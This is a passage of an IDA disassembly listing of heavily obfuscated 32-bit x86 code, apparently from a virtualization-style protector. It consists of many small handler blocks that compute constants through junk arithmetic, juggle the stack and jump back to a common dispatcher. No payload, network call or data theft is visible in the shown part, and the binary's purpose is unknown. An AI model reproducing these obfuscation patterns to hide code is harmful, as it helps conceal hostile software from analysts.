		mov	[esp-6E6Ah+arg_6E60+2],	edi
		jmp	loc_5952C6
; ---------------------------------------------------------------------------


loc_595356:				; CODE XREF: sub_581EE9+1F6FFj
		push	[esp-6E6Ah+arg_6E60+2]
		pop	esi
		add	esp, 4
		xchg	edi, [esp-6E6Eh+arg_6E64+2]
		mov	esp, [esp-6E6Eh+arg_6E64+2]
		push	7D17h
		mov	[esp-6E6Ah+arg_6E60+2],	ebp
		mov	ebp, 1BE33A77h
		jmp	loc_5991B1
; ---------------------------------------------------------------------------


loc_595375:				; CODE XREF: sub_581EE9+187B1j
		pop	esp
		xchg	ebx, [esp-6E6Eh+arg_6E64+2]
		jmp	loc_59C769
; ---------------------------------------------------------------------------


loc_59537E:				; CODE XREF: sub_581EE9+20E46j
		push	ecx
		mov	ecx, 1933A8Bh
		jmp	loc_595A10
; ---------------------------------------------------------------------------


loc_595389:				; CODE XREF: sub_581EE9+24509j
		add	ebp, ebx
		jmp	loc_596659
; ---------------------------------------------------------------------------


loc_595390:				; CODE XREF: sub_581EE9+23BB4j
		sub	ebp, 4
		xchg	ebp, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		mov	[esp-6E6Eh+arg_6E64+2],	edi
		mov	edi, 787517B1h
		jmp	loc_59C954
; ---------------------------------------------------------------------------


loc_5953A4:				; CODE XREF: sub_581EE9+1B1C3j
		push	[esp-6E6Eh+arg_6E68+2]
		pop	eax
		pop	[esp-6E6Eh+arg_6E64+2]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_59C016
; ---------------------------------------------------------------------------


loc_5953B5:				; CODE XREF: sub_581EE9+1C842j
		push	[esp-6E72h+arg_6E68+2]
		mov	eax, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		add	esp, 4
		add	[esp-6E76h+arg_6E72], esi
		pop	esi
		pop	esi
		add	esi, 4
		jmp	loc_593A2E
; ---------------------------------------------------------------------------


loc_5953D5:				; CODE XREF: sub_581EE9+17421j
		push	esi
		neg	[esp-6E7Ah+arg_6E72]
		jmp	loc_594D3F
; ---------------------------------------------------------------------------


loc_5953DE:				; CODE XREF: sub_581EE9+10999j
		add	esp, 4
		jmp	loc_597718
; ---------------------------------------------------------------------------


loc_5953E6:				; CODE XREF: sub_581EE9+11CBFj
		mov	[esp], ecx
		push	ebp
		push	ecx
		mov	ecx, 4DD34C6Eh
		add	ecx, 0B22CB394h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5A3D89
; ---------------------------------------------------------------------------


loc_5953FE:				; CODE XREF: sub_581EE9+22B3Cj
		xor	ebp, [esp-6E76h+arg_6E6E]
		mov	esp, [esp-6E76h+arg_6E6E]
		inc	word ptr [esp-6E76h+arg_6E6E]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59540E:				; CODE XREF: sub_581EE9+2264Dj
		push	ebx
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esp
		add	[esp-6E6Ah+arg_6E60+2],	4
		pop	ebx
		push	edi
		jmp	loc_59B97A
; ---------------------------------------------------------------------------


loc_595426:				; CODE XREF: sub_581EE9+195C0j
		mov	[esp-6E6Ah+arg_6E60+2],	ecx
		push	1744h
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		jmp	loc_59A83C
; ---------------------------------------------------------------------------


loc_595436:				; CODE XREF: sub_581EE9+15594j
		mov	ebp, 1CF4524Ah
		dec	ebp
		neg	ebp
		sub	ebp, 0E30BADB3h
		jmp	loc_5A7090
; ---------------------------------------------------------------------------


loc_595449:				; CODE XREF: sub_581EE9+1EED1j
		sub	esp, 4
		mov	[esp-6E62h+arg_6E58+2],	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp-6E66h+arg_6E5C+2]
		pop	esp
		add	esp, 4
		jmp	loc_5A3BDB
; ---------------------------------------------------------------------------


loc_595469:				; CODE XREF: sub_581EE9+2259Aj
		add	[esp-6E6Eh+arg_6E64+2],	565A14DBh
		mov	eax, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		jmp	loc_5A64FB
; ---------------------------------------------------------------------------


loc_59547E:				; CODE XREF: sub_581EE9+14B45j
		add	esp, 4
		xchg	esi, [esp-6E76h+arg_6E6E]
		mov	esp, [esp-6E76h+arg_6E6E]
		jmp	loc_59C58C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp-6E78h+arg_6E6E+2],	cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59549B:				; CODE XREF: sub_581EE9+22B7Bj
		pop	edx
		add	esp, 4
		add	esp, 4
		xor	bl, al
		push	6292h
		mov	[esp-6E7Ch+arg_6E72+2],	ecx
		push	ebx
		mov	bl, al
		mov	ch, bl
		pop	ebx
		push	ebx
		mov	ebx, 28h
		jmp	loc_5A586F
; ---------------------------------------------------------------------------


loc_5954BD:				; CODE XREF: sub_581EE9+1828Dj
		sub	esp, 4
		mov	[esp+0], ecx
		mov	cl, 0DBh
		sub	bl, cl
		pop	ecx
		sub	bl, 0DFh
		push	ecx
		push	bx
		mov	bl, 42h
		mov	ch, bl
		pop	bx
		sub	ch, 0A2h
		sub	ch, 5Fh
		sub	bl, 0DBh
		jmp	loc_596AE4
; ---------------------------------------------------------------------------


loc_5954E5:				; CODE XREF: sub_581EE9+19635j
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 60987116h
		dec	eax
		add	eax, 204171BCh
		neg	eax
		jmp	loc_5A1ECC
; ---------------------------------------------------------------------------


loc_5954FB:				; CODE XREF: sub_581EE9+1A9C4j
		mov	ebp, ebx
		mov	ebx, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		sub	eax, 20AC40BEh
		jmp	loc_5A097E
; ---------------------------------------------------------------------------


loc_59550D:				; CODE XREF: sub_581EE9+150B4j
		mov	[esp-6E70h+arg_6E68], edi
		mov	edi, esp
		push	16Ah
		jmp	loc_59704B
; ---------------------------------------------------------------------------


loc_59551C:				; CODE XREF: sub_581EE9+1C521j
		mov	ebx, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		shl	esi, 5
		shl	esi, 4
		shl	esi, 7
		shr	esi, 1
		push	2E66h
		mov	[esp-6E6Ch+arg_6E64], ebx
		jmp	loc_599874
; ---------------------------------------------------------------------------


loc_59553A:				; CODE XREF: sub_581EE9+1A02Aj
		and	edx, 58752554h
		and	edx, 60250F29h
		xor	edx, 35857BCEh
		add	edi, edx
		pop	edx
		add	edi, 742F2DFAh
		add	ebx, edi
		jmp	loc_59B85E
; ---------------------------------------------------------------------------


loc_59555C:				; CODE XREF: sub_581EE9+1CCC0j
		push	edx
		mov	edx, 7F49167Fh
		mov	esi, edx
		pop	edx
		not	esi
		xor	esi, 50CA2256h
		sub	esi, 0FFFFFFFFh
		inc	esi
		neg	esi
		add	esi, 25ADE774h
		jmp	loc_5A4D24
; ---------------------------------------------------------------------------


loc_595581:				; CODE XREF: sub_581EE9+102DFj
		add	esp, 4
		sub	edi, ebx
		jmp	loc_5A4062
; ---------------------------------------------------------------------------


loc_59558B:				; CODE XREF: sub_581EE9+1BF7Cj
		mov	ebp, 55EC08A7h
		push	edi
		push	ebp
		mov	ebp, 62C70A0Fh
		add	ebp, 2F513776h
		and	ebp, 4DB84C6Fh
		add	ebp, 2CFC1C15h
		push	edx
		mov	edx, 10C0F382h
		sub	ebp, edx
		pop	edx
		mov	edi, ebp
		pop	ebp
		dec	edi
		jmp	loc_59CAC9
; ---------------------------------------------------------------------------


loc_5955BB:				; CODE XREF: sub_581EE9+19009j
		xor	eax, [esp-6E9Eh+arg_6E96]
		xor	[esp-6E9Eh+arg_6E96], eax
		xor	eax, [esp-6E9Eh+arg_6E96]
		mov	esp, [esp-6E9Eh+arg_6E96]
		add	edi, 2CC319ABh
		push	ecx
		mov	ecx, 55CB5CBEh
		dec	ecx
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		and	ecx, 65E22630h
		dec	ecx
		xor	ecx, 6E1F3B30h
		jmp	loc_5A3E33
; ---------------------------------------------------------------------------


loc_5955EC:				; CODE XREF: sub_581EE9+12493j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 1BED1F3Fh
		sub	ebp, 1BED1F3Bh
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edi
		push	[esp-6E90h+arg_6E8A+2]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		push	eax
		push	[esp-6E94h+arg_6E8E+2]
		pop	eax
		jmp	loc_599EE1
; ---------------------------------------------------------------------------


loc_595619:				; CODE XREF: sub_581EE9+16C59j
		not	esi
		push	ecx
		mov	ecx, 9FDAA7D4h
		jmp	loc_5973C3
; ---------------------------------------------------------------------------


loc_595626:				; CODE XREF: sub_581EE9+1DB16j
		add	edi, edx
		pop	edx
		jmp	loc_597B63
; ---------------------------------------------------------------------------


loc_59562E:				; CODE XREF: sub_581EE9+1D77Aj
		pop	eax
		jmp	loc_5951D7
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 5E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595643:				; CODE XREF: sub_581EE9+11EAFj
		push	esp
		pop	ebx
		jmp	loc_594DC8
; ---------------------------------------------------------------------------


loc_59564A:				; CODE XREF: sub_581EE9+12448j
		push	3C1Ch
		jmp	loc_59FA45
; ---------------------------------------------------------------------------


loc_595654:				; CODE XREF: sub_581EE9+1B37Dj
		mov	ecx, esi
		pop	esi
		xor	ebp, ecx
		pop	ecx
		push	ebp
		push	edi
		jmp	loc_5A60B5
; ---------------------------------------------------------------------------


loc_595661:				; CODE XREF: sub_581EE9+10FEAj
		neg	edx
		jmp	loc_59B175
; ---------------------------------------------------------------------------


loc_595668:				; CODE XREF: sub_581EE9+1E59Fj
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		pop	ebx
		pop	esi
		sub	ebx, esi
		mov	esi, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		sub	ebx, 17113283h
		jmp	loc_598F62
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E76h+arg_6E6E]
		push	3A75h
		mov	[esp-6E72h+arg_6E68+2],	ebx
		mov	ebx, esp
		jmp	loc_59B842
; ---------------------------------------------------------------------------


loc_595696:				; CODE XREF: sub_581EE9+12994j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E46h+arg_6E3E], ecx
		mov	ecx, 1D03697Ah
		sub	ecx, 78CC0C84h
		and	ecx, 2DC13D32h
		xor	ecx, 67034832h
		xor	ebx, ecx
		jmp	loc_596E37
; ---------------------------------------------------------------------------


loc_5956C0:				; CODE XREF: sub_581EE9+14D9Ej
		mov	[esp-6E46h+arg_6E3E], esi
		push	eax
		mov	eax, 70A95CC9h
		shr	eax, 1
		sub	eax, 327A6035h
		jmp	loc_59EDD0
; ---------------------------------------------------------------------------


loc_5956D5:				; CODE XREF: sub_581EE9+20D9Bj
		add	eax, 0EF15DE1h
		push	eax
		pop	edx
		mov	eax, [esp-6E42h+arg_6E3A]
		add	esp, 4
		push	edx
		pop	ebx
		jmp	loc_59C153
; ---------------------------------------------------------------------------


loc_5956EC:				; CODE XREF: sub_581EE9+1AF7Cj
		pop	ebx
		sub	ebx, 536356DFh
		xor	ebx, 3C423F6Ch
		and	ebx, 1CDC37B2h
		jmp	loc_5A4E70
; ---------------------------------------------------------------------------


loc_595704:				; CODE XREF: sub_581EE9+21966j
		pop	ebp
		add	ebx, ebp
		push	edi
		mov	edi, 316A38B1h
		jmp	loc_599AF6
; ---------------------------------------------------------------------------


loc_595712:				; CODE XREF: sub_581EE9+1CE6Ej
		pop	esi
		push	ebp
		mov	ebp, 545D90F5h
		add	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebp, eax
		jmp	loc_5A5328
; ---------------------------------------------------------------------------


loc_595728:				; CODE XREF: sub_581EE9+16B5Cj
		mov	ecx, ebp
		jmp	loc_59FCD9
; ---------------------------------------------------------------------------


loc_59572F:				; CODE XREF: sub_581EE9+23320j
		pop	esi
		mov	edi, [esp-6E52h+arg_6E48+2]
		push	5DB6h
		mov	[esp-6E4Eh+arg_6E44+2],	esi
		jmp	loc_599BDF
; ---------------------------------------------------------------------------


loc_595740:				; CODE XREF: sub_581EE9+16D63j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	2258h
		mov	[esp-6E46h+arg_6E3E], eax
		push	ebp
		mov	ebp, 2
		mov	eax, ebp
		pop	ebp
		jmp	loc_599F5A
; ---------------------------------------------------------------------------


loc_59575F:				; CODE XREF: sub_581EE9+21915j
		add	bl, dl
		mov	edx, [esp-6E46h+arg_6E3E]
		sub	esp, 4
		jmp	loc_5A59BD
; ---------------------------------------------------------------------------


loc_59576F:				; CODE XREF: sub_581EE9+2529Ej
		sub	di, bx
		pop	ebx
		pop	bp
		push	ax
		push	esi
		mov	si, 388Ch
		push	bp
		jmp	loc_595858
; ---------------------------------------------------------------------------


loc_595783:				; CODE XREF: sub_581EE9+1B763j
		add	ecx, 2592F2Bh
		pop	edx
		mov	ebx, ecx
		pop	ecx
		add	esi, ebx
		mov	ebx, [esp-6E48h+arg_6E3E+2]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp-6E40h+arg_6E36+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp-6E40h+arg_6E36+2]
		jmp	loc_5A3B5F
; ---------------------------------------------------------------------------


loc_5957B3:				; CODE XREF: sub_581EE9+14825j
		push	eax
		mov	eax, 54C74B81h
		not	eax
		neg	eax
		jmp	loc_59E379
; ---------------------------------------------------------------------------


loc_5957C2:				; CODE XREF: sub_581EE9+12166j
		add	esp, 4
		push	edi
		mov	edi, 2
		sub	edx, 50801EC0h
		add	edx, 6A017AD0h
		add	edx, edi
		sub	edx, 6A017AD0h
		add	edx, 50801EC0h
		pop	edi
		xor	edx, [esp-6E7Eh+arg_6E76]
		xor	[esp-6E7Eh+arg_6E76], edx
		xor	edx, [esp-6E7Eh+arg_6E76]
		mov	esp, [esp-6E7Eh+arg_6E76]
		btc	word ptr [esp-6E7Eh+arg_6E76], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5957FD:				; CODE XREF: sub_581EE9+21A59j
		pop	ebx
		inc	edi
		push	ebp
		jmp	loc_5A16D7
; ---------------------------------------------------------------------------


loc_595805:				; CODE XREF: sub_581EE9+23B42j
		pop	eax
		add	esp, 4
		sub	ebp, 26F75D9Ch
		jmp	loc_593BAD
; ---------------------------------------------------------------------------


loc_595817:				; CODE XREF: sub_581EE9+24080j
		pop	edx
		xor	al, bl
		pop	ebx
		jmp	loc_593485
; ---------------------------------------------------------------------------


loc_595820:				; CODE XREF: sub_581EE9+1F851j
		pop	ebx
		push	40E9h
		mov	[esp-6E8Ah+arg_6E80+2],	esi
		mov	esi, 7C0E4CF0h
		inc	esi
		jmp	loc_59B64F
; ---------------------------------------------------------------------------


loc_595834:				; CODE XREF: sub_581EE9+206C8j
		push	esi
		mov	esi, 1E611784h
		jmp	loc_5925B1
; ---------------------------------------------------------------------------


loc_59583F:				; CODE XREF: sub_581EE9+12638j
		pop	edi
		mov	ebx, ebp
		pop	ebp
		push	3E9Fh
		jmp	loc_59FC74
; ---------------------------------------------------------------------------


loc_59584D:				; CODE XREF: sub_581EE9+1FC83j
		and	ebp, 1491610Fh
		jmp	loc_5A1A52
; ---------------------------------------------------------------------------


loc_595858:				; CODE XREF: sub_581EE9+13895j
		mov	bp, 53ACh
		xor	si, bp
		pop	bp
		jmp	loc_5963FD
; ---------------------------------------------------------------------------


loc_595866:				; CODE XREF: sub_581EE9+24DCFj
		mov	[esp-6E42h+arg_6E3A], ebp
		mov	ebp, 58C034A0h
		add	edi, 52EA4197h
		add	edi, 50810F10h
		jmp	loc_59D4E5
; ---------------------------------------------------------------------------


loc_59587F:				; CODE XREF: sub_581EE9+235C9j
		pop	ecx
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59588B:				; CODE XREF: sub_581EE9+1AE94j
		push	eax
		mov	al, bh
		not	al
		push	edx
		mov	dh, al
		mov	bh, dh
		jmp	loc_592B2D
; ---------------------------------------------------------------------------


loc_59589A:				; CODE XREF: sub_581EE9+16A0Ej
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5A70D6
; ---------------------------------------------------------------------------


loc_5958A7:				; CODE XREF: sub_581EE9+1252Dj
		mov	edx, 506F4698h
		jmp	loc_59B576
; ---------------------------------------------------------------------------


loc_5958B1:				; CODE XREF: sub_581EE9+17CA8j
		mov	[esp-6E9Eh+arg_6E96], edx
		push	esp
		mov	edx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		push	esi
		jmp	loc_593FD6
; ---------------------------------------------------------------------------


loc_5958C1:				; CODE XREF: sub_581EE9+211A8j
		xchg	esi, [esp-6E9Ah+arg_6E92]
		mov	esp, [esp-6E9Ah+arg_6E92]
		add	ecx, 4
		push	ecx
		push	[esp-6E96h+arg_6E92]
		pop	ecx
		jmp	loc_5A2177
; ---------------------------------------------------------------------------


loc_5958D5:				; CODE XREF: sub_581EE9+1672Bj
		add	edx, 989E9643h
		add	edi, 17EC178Dh
		add	edi, edx
		sub	edi, 17EC178Dh
		mov	edx, [esp-6E96h+arg_6E8E]
		add	esp, 4
		xor	edi, [esp-6E9Ah+arg_6E92]
		xor	[esp-6E9Ah+arg_6E92], edi
		xor	edi, [esp-6E9Ah+arg_6E92]
		mov	esp, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		imul	ecx
		push	437Eh
		mov	[esp-6E9Ah+arg_6E92], edx
		push	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_595912:				; CODE XREF: sub_581EE9+2493Cj
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp-6E96h+arg_6E8E]
		mov	esp, [esp-6E96h+arg_6E8E]
		mov	[esp-6E96h+arg_6E8E], ebx
		jmp	loc_59E5E9
; ---------------------------------------------------------------------------


loc_59592C:				; CODE XREF: sub_581EE9+12EAAj
		pop	dx
		shl	cl, 2
		sub	cl, 2Bh
		add	cl, 66h
		mov	ah, 21h
		sub	ah, cl
		pop	ecx
		add	dl, ah
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_59B5BC
; ---------------------------------------------------------------------------


loc_59594C:				; CODE XREF: sub_581EE9+212E3j
		push	esp
		pop	ebp
		jmp	loc_5A2404
; ---------------------------------------------------------------------------


loc_595953:				; CODE XREF: sub_581EE9+11EF5j
		pop	ebx
		xchg	ebp, [esp-6E9Eh+arg_6E96]
		pop	esp
		jmp	loc_59F4DE
; ---------------------------------------------------------------------------


loc_59595D:				; CODE XREF: sub_581EE9+19967j
		mov	edi, 2
		add	ebx, edi
		mov	edi, [esp-6EA2h+arg_6E9A]
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5963C8
; ---------------------------------------------------------------------------


loc_59597A:				; CODE XREF: sub_581EE9+24A1Fj
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp-6EA0h+arg_6E96+2], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59598E:				; CODE XREF: sub_581EE9+19A30j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp-6EA0h+arg_6E96+2]
		xor	[esp-6EA0h+arg_6E96+2],	ebp
		xor	ebp, [esp-6EA0h+arg_6E96+2]
		pop	esp
		add	esi, 1
		push	2789h
		mov	[esp-6EA0h+arg_6E96+2],	ecx
		mov	ecx, 2010A5E7h
		xor	esi, ecx
		mov	ecx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A5DDA
; ---------------------------------------------------------------------------


loc_5959C5:				; CODE XREF: sub_581EE9+24A10j
		mov	ebp, 61B100BEh
		dec	ebp
		xor	ebp, 61B100B9h
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_59FF2B
; ---------------------------------------------------------------------------


loc_5959DC:				; CODE XREF: sub_581EE9+1C3CDj
		xchg	eax, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		push	esp
		pop	esi
		add	esi, 4
		push	0C55h
		jmp	loc_5A4648
; ---------------------------------------------------------------------------


loc_5959F8:				; CODE XREF: sub_581EE9+1B85Ej
		xor	[esp-6EA4h+arg_6E9A+2],	eax
		xor	eax, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A3FB9
; ---------------------------------------------------------------------------


loc_595A03:				; CODE XREF: sub_581EE9+1EE6Cj
		pop	esp
		push	eax
		mov	al, 0FAh
		push	small 4340h
		jmp	loc_59C4A3
; ---------------------------------------------------------------------------


loc_595A10:				; CODE XREF: sub_581EE9+1349Bj
		mov	edx, 0B87AB746h
		jmp	loc_5A3947
; ---------------------------------------------------------------------------


loc_595A1A:				; CODE XREF: sub_581EE9+1A03Dj
		sub	ecx, 4
		xchg	ecx, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		mov	[esp-6E6Eh+arg_6E64+2],	ecx
		push	edi
		push	23740DAh
		jmp	loc_598A1B
; ---------------------------------------------------------------------------


loc_595A2F:				; CODE XREF: sub_581EE9+21C1Dj
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		jmp	loc_59CDEF
; ---------------------------------------------------------------------------


loc_595A37:				; CODE XREF: sub_581EE9+152CCj
		add	ecx, ebp
		add	ecx, 1E6EBAh
		pop	ebp
		jmp	loc_5A692A
; ---------------------------------------------------------------------------


loc_595A45:				; CODE XREF: sub_581EE9+12828j
		push	ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_595A4D:				; CODE XREF: sub_581EE9+14407j
		mov	dl, 0B9h
		and	dl, 48h
		and	dl, 61h
		jmp	loc_5A2736
; ---------------------------------------------------------------------------


loc_595A5A:				; CODE XREF: sub_581EE9+131A0j
		mov	esp, [esp-6E9Ah+arg_6E92]
		jmp	loc_59D2B0
; ---------------------------------------------------------------------------


loc_595A62:				; CODE XREF: sub_581EE9+1DF7Fj
		mov	edx, 5C9106DAh
		push	ebx
		mov	ebx, edx
		mov	eax, ebx
		pop	ebx
		pop	edx
		or	eax, 3ABE4EE0h
		shl	eax, 4
		and	eax, 58325C54h
		push	ebp
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], edi
		mov	edi, 1F7D758Bh
		neg	edi
		xor	edi, 27C73EC8h
		and	edi, 0A343ADh
		shr	edi, 6
		xor	edi, 558622C2h
		jmp	loc_5A02FE
; ---------------------------------------------------------------------------


loc_595AA6:				; CODE XREF: sub_581EE9+1C392j
		mov	[esp-6E96h+arg_6E8E], esp
		add	[esp-6E96h+arg_6E8E], 4
		jmp	loc_598414
; ---------------------------------------------------------------------------


loc_595AB2:				; CODE XREF: sub_581EE9+165E8j
		add	ch, dl
		pop	edx
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], eax
		jmp	loc_5A4A4E
; ---------------------------------------------------------------------------


loc_595AC3:				; CODE XREF: sub_581EE9+13457j
		mov	[esp-6E6Eh+arg_6E64+2],	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_59E432
; ---------------------------------------------------------------------------


loc_595AD3:				; CODE XREF: sub_581EE9+1B711j
		add	bl, 0B2h
		add	bl, 53h
		push	ecx
		mov	ch, 5Eh
		dec	ch
		add	ch, 6Fh
		sub	bl, ch
		jmp	loc_5943DF
; ---------------------------------------------------------------------------


loc_595AE8:				; CODE XREF: sub_581EE9+111E0j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E4Eh+arg_6E44+2]
		pop	esp
		pop	[esp-6E52h+arg_6E48+2]
		mov	esp, [esp-6E56h+arg_6E4C+2]
		push	ecx
		jmp	loc_5A278E
; ---------------------------------------------------------------------------


loc_595B04:				; CODE XREF: sub_581EE9+1E9FBj
		add	eax, 14E616FAh
		push	ebx
		jmp	loc_59E2BB
; ---------------------------------------------------------------------------


loc_595B0F:				; CODE XREF: sub_581EE9+236C8j
		pop	ebp
		push	edx
		mov	edx, 530710D5h
		add	eax, edx
		jmp	loc_59AC94
; ---------------------------------------------------------------------------


loc_595B1D:				; CODE XREF: sub_581EE9+133EFj
		dec	edx
		shl	edx, 5
		sub	edx, 2A7B40BCh
		jmp	loc_5A3078
; ---------------------------------------------------------------------------


loc_595B2C:				; CODE XREF: sub_581EE9+15D9Fj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		jmp	loc_59E4B3
; ---------------------------------------------------------------------------


loc_595B5E:				; CODE XREF: sub_581EE9+249B4j
		mov	al, dh
		pop	dx
		sub	al, 0A4h
		add	al, 0FFh
		inc	al
		xor	al, 43h
		add	bh, 80h
		add	bh, al
		jmp	loc_593DC8
; ---------------------------------------------------------------------------


loc_595B74:				; CODE XREF: sub_581EE9+158DDj
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebx
		push	2BDDh
		mov	[esp-6EA6h+arg_6E9E], ebp
		mov	ebp, 370909AEh
		sub	ebp, 77061DAEh
		jmp	loc_598D62
; ---------------------------------------------------------------------------


loc_595B8F:				; CODE XREF: sub_581EE9+11049j
		push	[esp-6E66h+arg_6E5C+2]
		pop	ebp
		add	esp, 4
		sub	esi, 1F2B1279h
		add	esi, eax
		add	esi, 1F2B1279h
		jmp	loc_59D39C
; ---------------------------------------------------------------------------


loc_595BA9:				; CODE XREF: sub_581EE9+15F4Cj
		pop	edx
		push	dword ptr [ecx]
		jmp	loc_593E95
; ---------------------------------------------------------------------------


loc_595BB1:				; CODE XREF: sub_581EE9+1435Aj
		push	esi
		push	[esp-6E66h+arg_6E60+2]
		jmp	loc_593027
; ---------------------------------------------------------------------------


loc_595BBB:				; CODE XREF: sub_581EE9+1E240j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E62h+arg_6E58+2]
		pop	esp
		mov	[esp-6E66h+arg_6E5C+2],	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_599064
; ---------------------------------------------------------------------------


loc_595BD8:				; CODE XREF: sub_581EE9+21B77j
		add	ebx, 45944B68h
		shl	ebx, 3
		sub	ebx, 2DD64766h
		shl	ebx, 6
		xor	ebx, 581E4E88h
		and	eax, ebx
		pop	ebx
		not	eax
		jmp	loc_59AF9E
; ---------------------------------------------------------------------------


loc_595BFA:				; CODE XREF: sub_581EE9+1D704j
		sub	eax, 775A5F72h
		jmp	loc_5A45B7
; ---------------------------------------------------------------------------


loc_595C04:				; CODE XREF: sub_581EE9+20C35j
		mov	edx, 2299190Bh
		jmp	loc_5972C4
; ---------------------------------------------------------------------------


loc_595C0E:				; CODE XREF: sub_581EE9+17C74j
		xchg	esi, [esp-6E6Ah+arg_6E60+2]
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		sar	[esp-6E6Ah+arg_6E60+2],	cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_595C1D:				; CODE XREF: sub_581EE9+1D7B1j
		xor	edx, [esp-6E66h+arg_6E5C+2]
		jmp	loc_593FEC
; ---------------------------------------------------------------------------


loc_595C25:				; CODE XREF: sub_581EE9+1F6E2j
		pop	edx
		jmp	loc_5A408E
; ---------------------------------------------------------------------------


loc_595C2B:				; CODE XREF: sub_581EE9+130ABj
		sub	ch, al
		jmp	loc_5A0E3F
; ---------------------------------------------------------------------------


loc_595C32:				; CODE XREF: sub_581EE9+1A9F4j
		neg	edi
		push	edx
		jmp	loc_597770
; ---------------------------------------------------------------------------


loc_595C3A:				; CODE XREF: sub_581EE9+22F9Aj
		push	edx
		jmp	loc_59C2D1
; ---------------------------------------------------------------------------


loc_595C40:				; CODE XREF: sub_581EE9+22A75j
		or	eax, eax
		jnz	loc_5A5336
		sub	esp, 4
		mov	[esp-6E80h+arg_6E76+2],	ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_5970CE
; ---------------------------------------------------------------------------


loc_595C56:				; CODE XREF: sub_581EE9+1BBA0j
		mov	ebp, 81161395h
		sub	esi, 7EF80DFAh
		sub	esi, ebp
		jmp	loc_5A3226
; ---------------------------------------------------------------------------


loc_595C68:				; CODE XREF: sub_581EE9+14DF9j
		push	eax
		jmp	loc_593A9A
; ---------------------------------------------------------------------------


loc_595C6E:				; CODE XREF: sub_581EE9+15F74j
		add	[esp-6E78h+arg_6E72+2],	eax
		mov	eax, [esp-6E78h+arg_6E6E+2]
		add	esp, 4
		mov	ecx, [esp-6E7Ch+arg_6E72+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59D053
; ---------------------------------------------------------------------------


loc_595C8F:				; CODE XREF: sub_581EE9+243B2j
		add	esp, 4
		push	eax
		mov	edi, [esp-6E7Ch+arg_6E72+2]
		jmp	loc_5A7152
; ---------------------------------------------------------------------------


loc_595C9B:				; CODE XREF: sub_581EE9+21363j
		pop	ebp
		add	ebp, 4
		jmp	loc_5A4E1D
; ---------------------------------------------------------------------------


loc_595CA7:				; CODE XREF: sub_581EE9+2467Aj
		sub	esp, 4
